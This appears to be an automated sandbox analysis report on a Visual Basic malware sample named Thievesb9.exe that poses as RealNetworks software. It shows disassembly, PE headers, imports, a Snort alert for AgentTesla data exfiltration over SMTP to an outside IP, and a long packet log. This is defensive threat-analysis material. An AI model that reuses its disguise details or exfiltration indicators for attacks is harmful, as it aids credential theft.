std
mov edi, 55B97C3Fh
jnl 00007F8E4894574Fh
out dx, al
sar edi, cl
inc edx
push ss
xor al, 43h
cdq
neg dword ptr [edx]
mov dl, ch
test al, D3h
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
stosd
in al, dx
add byte ptr [eax], al
inc edx
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [ebx+6Fh], dl
jne 00007F8E489457A4h
outsb
xor eax, dword ptr [eax]
or eax, 6C000701h
popad
jo 00007F8E4894579Bh
popad
jc 00007F8E48945732h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1ac44	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d000	0x456a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x154	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1a180	0x1b000	False	0.552580656829	data	6.72479841323	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x1c000	0xaf0	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x1d000	0x456a	0x5000	False	0.396484375	data	4.60940282091	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
DATA	0x1da7c	0x3aee	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel	English	United States
RT_ICON	0x1d94c	0x130	data
RT_ICON	0x1d664	0x2e8	data
RT_ICON	0x1d53c	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x1d50c	0x30	data
RT_VERSION	0x1d1a0	0x36c	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, __vbaLenBstrB, _adj_fdiv_m32, __vbaAryDestruct, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaObjVar, DllFunctionCall, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaI2Str, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaDerefAry1, _adj_fdivr_m32, _adj_fdiv_r, __vbaStrToAnsi, __vbaVarDup, __vbaFpI4, __vbaLateMemCallLd, _CIatan, __vbaStrMove, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
LegalCopyright	RealNetworks, Inc.
InternalName	Thievesb9
FileVersion	66.00
CompanyName	RealNetworks, Inc.
LegalTrademarks	RealNetworks, Inc.
Comments	RealNetworks, Inc.
ProductName	RealNetworks, Inc.
ProductVersion	66.00
FileDescription	RealNetworks, Inc.
OriginalFilename	Thievesb9.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
10/13/21-12:53:31.007700	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49766	587	192.168.11.20	116.0.120.83

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2021 12:51:50.221029043 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.221120119 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.221283913 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.245487928 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.245543003 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.304081917 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.304223061 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.304238081 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.304269075 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.306044102 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.306286097 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.445638895 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.445694923 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.446485043 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.446775913 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.450983047 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.493886948 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.961935997 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.962194920 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.962279081 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:50.962450981 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:50.962534904 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:51.022262096 CEST	49759	443	192.168.11.20	172.217.168.46
Oct 13, 2021 12:51:51.022272110 CEST	443	49759	172.217.168.46	192.168.11.20
Oct 13, 2021 12:51:51.096669912 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.096684933 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.096899986 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.097481012 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.097518921 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.128849030 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.129554987 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.129904032 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.129913092 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.130103111 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.134654999 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.134788990 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.135205984 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.135504961 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.177911997 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.359515905 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.359724045 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.359755039 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.359796047 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.359940052 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.360002041 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.360256910 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.360517025 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.360732079 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.361095905 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.361355066 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.364154100 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.364373922 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.367101908 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.367465019 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.367539883 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.367856979 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.369944096 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.370141029 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.370186090 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.370369911 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.370420933 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.370599985 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.370609999 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.370642900 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.370788097 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.370827913 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.371082067 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.371124983 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.371227026 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.371344090 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.371392965 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.371423006 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.371542931 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.371913910 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.372062922 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.372133017 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.372308016 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.372347116 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.372493029 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.372678041 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.372826099 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.372857094 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.373007059 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.373034000 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.373176098 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.373467922 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.373636961 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.373672962 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.373816967 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.373858929 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.374022007 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.374336958 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.374490976 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.374522924 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.374778032 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.374823093 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.374973059 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.375349045 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.375500917 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.375575066 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.375720978 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.375760078 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.375912905 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.376080990 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.376245022 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.376276016 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.376449108 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.376478910 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.376621008 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.377515078 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.377677917 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.377716064 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.377949953 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.377995968 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.378143072 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.379478931 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.379647970 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.379686117 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.379949093 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.380866051 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.381026030 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.381072998 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.381225109 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.381259918 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.381412983 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.381449938 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.381618023 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.381654024 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.381798029 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.381830931 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.381892920 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382006884 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.382030964 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.382088900 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382250071 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.382283926 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382427931 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.382462978 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382607937 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.382637024 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382822990 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382865906 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.382916927 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.382982016 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.383086920 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.383296013 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.383455992 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.383491039 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.383635998 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.383673906 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.383822918 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.383852959 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.384027004 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.384074926 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.384253979 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.384484053 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.384644032 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.384682894 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.384885073 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.384922981 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.384946108 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.385063887 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.385090113 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.385301113 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.385453939 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.385492086 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.385639906 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.385670900 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.385826111 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.385859966 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.386039972 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.386104107 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.386254072 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.386290073 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.386432886 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.386464119 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.386610985 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.386620998 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.386651993 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.386812925 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.386930943 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.387082100 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.387119055 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.387269974 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.387300968 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.387451887 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.387480021 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.387631893 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.387680054 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.387829065 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.387876034 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.388031006 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.388062000 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.388210058 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.388245106 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.388406038 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.388515949 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.388665915 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.388696909 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.388845921 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.388878107 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.389053106 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.389089108 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.389234066 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.389267921 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.389302969 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.389431953 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.389453888 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.389470100 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.389681101 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.389978886 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.390130997 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.390289068 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.390444040 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.390477896 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.390636921 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.390671015 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.390808105 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.390819073 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.390841961 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.391025066 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.391068935 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.391261101 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.392256021 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.392421007 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.392461061 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.392607927 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.392646074 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.392771006 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.392806053 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.392955065 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.392988920 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.393141031 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.393173933 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.393346071 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.393381119 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.393527031 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.393560886 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.393740892 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.393755913 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.393786907 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.393886089 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.393938065 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.393969059 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.394140005 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.394171953 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.394318104 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.394359112 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.394541979 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.394576073 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.394723892 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.394761086 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.394938946 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.394972086 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.395122051 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.395150900 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.395325899 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.395358086 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.395504951 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.395539999 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.395564079 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.395695925 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.395735979 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.395883083 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.395925045 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.396073103 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.396111965 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.396272898 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.396307945 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.396450996 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.396486044 CEST	443	49760	142.250.185.97	192.168.11.20
Oct 13, 2021 12:51:51.396647930 CEST	49760	443	192.168.11.20	142.250.185.97
Oct 13, 2021 12:51:51.396677971 CEST	443	49760	142.250.185.97	192.168.11.20
